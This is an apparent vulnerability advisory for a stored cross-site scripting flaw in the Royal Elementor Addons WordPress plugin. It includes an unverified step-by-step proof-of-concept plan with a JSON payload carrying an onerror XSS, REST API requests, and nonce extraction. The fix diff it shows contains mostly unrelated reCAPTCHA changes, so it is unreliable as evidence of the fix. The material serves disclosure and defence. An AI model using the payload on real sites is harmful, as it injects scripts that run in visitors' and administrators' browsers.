CVE-2026-0664

Royal Elementor Addons <= 1.7.1049 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API Meta Bypass

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.7.1050
Patched in
1d
Time to patch

Description

The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'button_text' parameter in all versions up to, and including, 1.7.1049 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.1049
PublishedApril 3, 2026
Last updatedApril 4, 2026
Affected pluginroyal-elementor-addons

What Changed in the Fix

Changes introduced in v1.7.1050

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Royal Elementor Addons via the `button_text` parameter, exploiting a REST API metadata bypass. ### 1. Vulnerability Summary The **Royal Elementor Addons** plugin (versions <= 1.7.1049) fails to…

Show full research plan

This plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Royal Elementor Addons via the button_text parameter, exploiting a REST API metadata bypass.

1. Vulnerability Summary

The Royal Elementor Addons plugin (versions <= 1.7.1049) fails to sanitize the button_text parameter used in several of its Elementor widgets. While WordPress typically prevents Contributors from using unfiltered HTML, the plugin's interaction with the Elementor page-saving process (via the REST API) allows a Contributor-level user to inject arbitrary JavaScript into widget settings. This script is then stored in the _elementor_data post meta and executed when any user, including an administrator, views the affected page.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API for Post Updates (/wp-json/wp/v2/posts/<ID>) or Elementor's internal REST endpoint (/wp-json/elementor/v1/editor/post-content).
  • Vulnerable Parameter: button_text within the settings object of a Royal Addons widget (e.g., wpr-button, wpr-advanced-slider).
  • Authentication: Authenticated with Contributor role or higher.
  • Precondition: The Royal Elementor Addons plugin must be active, and a post must be created/editable by the Contributor.

3. Code Flow

  1. Entry Point: A Contributor sends a REST API request to update the content or metadata of a post they authored.
  2. Processing: Elementor processes the JSON-encoded _elementor_data which contains widget settings.
  3. The Bypass: The plugin does not implement sufficient server-side sanitization for the button_text key when the Elementor data is saved.
  4. Storage: The malicious payload is saved to the database in the wp_postmeta table under the _elementor_data key for that post.
  5. Sink: When the post is rendered on the frontend, the render() method of the Royal Addons widget (e.g., in modules/button/widgets/wpr-button.php) outputs the button_text using a method that does not escape HTML (e.g., echo $settings['button_text'] or equivalent Elementor render_attribute).

4. Nonce Acquisition Strategy

To interact with the REST API, a valid _wpnonce is required in the X-WP-Nonce header.

  1. Identify Trigger: The REST API nonce is typically localized in the wp-admin dashboard or the Elementor Editor.
  2. Setup Page: Create a dummy post to gain access to the Elementor editor context.
    • Command: wp post create --post_type=post --post_status=publish --post_author=<CONTRIBUTOR_ID> --post_title="XSS Test"
  3. Acquisition: Navigate to the WordPress dashboard as the Contributor.
  4. Extraction: Use browser_eval to extract the nonce from the global wpApiSettings object.
    • browser_eval("wpApiSettings.nonce")

5. Exploitation Strategy

We will simulate the Elementor save process by sending a raw REST API request to update the _elementor_data meta of a post.

Step 1: Get Post ID
Find a post ID owned by the Contributor.

Step 2: Construct Payload
Create a JSON structure representing an Elementor page containing a Royal Addons Button widget with the XSS payload.

[
  {
    "id": "exploit-id",
    "elType": "section",
    "settings": [],
    "elements": [
      {
        "id": "column-id",
        "elType": "column",
        "settings": [],
        "elements": [
          {
            "id": "widget-id",
            "elType": "widget",
            "widgetType": "wpr-button",
            "settings": {
              "button_text": "<img src=x onerror=alert('CVE-2026-0664_XSS')>",
              "button_link": { "url": "#" }
            }
          }
        ]
      }
    ]
  }
]

Step 3: Send REST Request
Use the http_request tool to update the post.

  • Method: POST
  • URL: http://localhost:8080/wp-json/wp/v2/posts/<POST_ID>
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: <EXTRACTED_NONCE>
  • Body:
{
  "meta": {
    "_elementor_data": "[JSON_PAYLOAD_STRING_HERE]",
    "_elementor_edit_mode": "builder"
  }
}

6. Test Data Setup

  1. Install Plugin: Ensure royal-elementor-addons version 1.7.1049 is active.
  2. User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Post: Create a post as the contributor.
    • wp post create --post_author=$(wp user get attacker --field=ID) --post_title="Vulnerable Page" --post_status=publish
  4. Elementor Enable: Ensure Elementor is configured to allow editing of Posts and that Royal Addons widgets are enabled.

7. Expected Results

  • The REST API should return a 200 OK response confirming the update.
  • The _elementor_data meta for the post will contain the raw <img ...> tag.
  • When an administrator navigates to the post's permalink, an alert box with CVE-2026-0664_XSS should appear.

8. Verification Steps

  1. DB Check: Verify the payload is stored in the database.
    • wp post meta get <POST_ID> _elementor_data
  2. Frontend Check: Fetch the post HTML and look for the unescaped payload.
    • http_request GET to the post URL.
    • Search for the string: <img src=x onerror=alert('CVE-2026-0664_XSS')> in the response body.

9. Alternative Approaches

If the wp/v2/posts endpoint refuses to update the _elementor_data meta directly (due to standard REST restrictions), target the Elementor-specific save endpoint:

  • Endpoint: POST /wp-json/elementor/v1/editor/post-content/<POST_ID>
  • Body Parameters: data (the JSON array) and status (publish).
  • Headers: Requires X-WP-Nonce.

If the wpr-button widget is not available, try the wpr-advanced-slider widget using the button_text parameter within one of the slider items.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'button_text' parameter in various widgets. Authenticated attackers with contributor-level permissions can bypass standard metadata restrictions and inject arbitrary scripts into the Elementor page data via the REST API, which executes when users view the affected page.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1049/admin/notices/rating-notice.php /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1050/admin/notices/rating-notice.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1049/admin/notices/rating-notice.php	2026-02-12 11:19:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1050/admin/notices/rating-notice.php	2026-03-05 12:58:30.000000000 +0000
@@ -34,9 +34,9 @@
         $install_date = get_option('royal_elementor_addons_activation_time');
 
         if ( false == get_option('wpr_maybe_later_time') && false !== $install_date && $this->past_date >= $install_date ) {
-            add_action( 'admin_notices', [$this, 'render_rating_notice' ]);
+            add_action( 'admin_notices', [$this, 'render_rating_notice']);
         } else if ( false != get_option('wpr_maybe_later_time') && $this->past_date >= get_option('wpr_maybe_later_time') ) {
-            add_action( 'admin_notices', [$this, 'render_rating_notice' ]);
+            add_action( 'admin_notices', [$this, 'render_rating_notice']);
         }
     }
 
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1049/admin/plugin-options.php	2026-02-12 11:19:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1050/admin/plugin-options.php	2026-03-05 12:58:30.000000000 +0000
@@ -80,6 +80,8 @@
     register_setting( 'wpr-settings', 'wpr_recaptcha_v3_site_key' );
     register_setting( 'wpr-settings', 'wpr_recaptcha_v3_secret_key' );
     register_setting( 'wpr-settings', 'wpr_recaptcha_v3_score' );
+    register_setting( 'wpr-settings', 'wpr_recaptcha_v2_site_key' );
+    register_setting( 'wpr-settings', 'wpr_recaptcha_v2_secret_key' );
 
     // Lightbox
     register_setting( 'wpr-settings', 'wpr_lb_bg_color' );
@@ -128,6 +130,17 @@
         register_setting( 'wpr-elements-settings', 'wpr-element-'. $slug, [ 'default' => 'on' ] );
     }
 
+    // Pro widgets that appear in Elements tab (so their toggles are saved)
+    if ( defined( 'WPR_ADDONS_PRO_VERSION' ) && wpr_fs()->can_use_premium_code() ) {
+        $pro_element_slugs = [ 'breadcrumbs-pro' ];
+        if ( wpr_fs()->is_plan( 'expert' ) ) {
+            $pro_element_slugs = array_merge( $pro_element_slugs, [ 'category-grid-pro', 'advanced-filters-pro' ] );
+        }
+        foreach ( $pro_element_slugs as $slug ) {
+            register_setting( 'wpr-elements-settings', 'wpr-element-' . $slug, [ 'default' => 'on' ] );
+        }
+    }
+
     // Theme Builder
     foreach ( Utilities::get_theme_builder_modules() as $title => $data ) {
         $slug = $data[0];
@@ -213,7 +226,7 @@
 
     // Render Backup Plugin Popup
     WPR_Templates_Loop::render_backup_plugin_popup();
-
+
     ?>
 
     <!-- Tabs -->
@@ -819,6 +832,26 @@
 
                 <input type="number" name="wpr_recaptcha_v3_score" id="wpr_recaptcha_v3_score" placeholder="0.5" step="0.1" min="0" max="1" value="<?php echo esc_attr(get_option('wpr_recaptcha_v3_score')); ?>">
             </div>
+
+            <div class="wpr-setting">
+                <h4>
+                    <span><?php esc_html_e( 'reCAPTCHA v2 (Checkbox) Site Key', 'wpr-addons' ); ?></span>
+                    <br>
+                    <a href="https://www.google.com/recaptcha/admin" target="_blank"><?php esc_html_e( 'How to get reCAPTCHA keys?', 'wpr-addons' ); ?></a>
+                    <p class="wpr-settings-group-description"><?php esc_html_e( 'Use reCAPTCHA v2 checkbox in Form Builder. Create a "reCAPTCHA v2" type key in Google reCAPTCHA admin.', 'wpr-addons' ); ?></p>
+                </h4>
+
+                <input type="text" name="wpr_recaptcha_v2_site_key" id="wpr_recaptcha_v2_site_key" value="<?php echo esc_attr(get_option('wpr_recaptcha_v2_site_key')); ?>">
+            </div>
+
+            <div class="wpr-setting">
+                <h4>
+                    <span><?php esc_html_e( 'reCAPTCHA v2 Secret Key', 'wpr-addons' ); ?></span>
+                    <br>
+                </h4>
+
+                <input type="text" name="wpr_recaptcha_v2_secret_key" id="wpr_recaptcha_v2_secret_key" value="<?php echo esc_attr(get_option('wpr_recaptcha_v2_secret_key')); ?>">
+            </div>
             
         </div>

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access or higher must: 1. Create or edit a post and access the WordPress REST API context to retrieve a valid security nonce (e.g., from the `wpApiSettings.nonce` global variable in the dashboard). 2. Construct a JSON payload for the `_elementor_data` post meta. This payload must include an Elementor widget from Royal Addons (such as 'wpr-button') with a malicious script in the 'button_text' setting (e.g., `<img src=x onerror=alert('XSS')>`). 3. Send a POST request to the WordPress REST API endpoint for posts (`/wp-json/wp/v2/posts/<POST_ID>`) or the Elementor-specific content endpoint (`/wp-json/elementor/v1/editor/post-content/<POST_ID>`). 4. Include the malicious JSON payload in the request body under the `_elementor_data` meta key. 5. The stored script will execute in the browser of any user, including administrators, who views the rendered frontend of the compromised post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.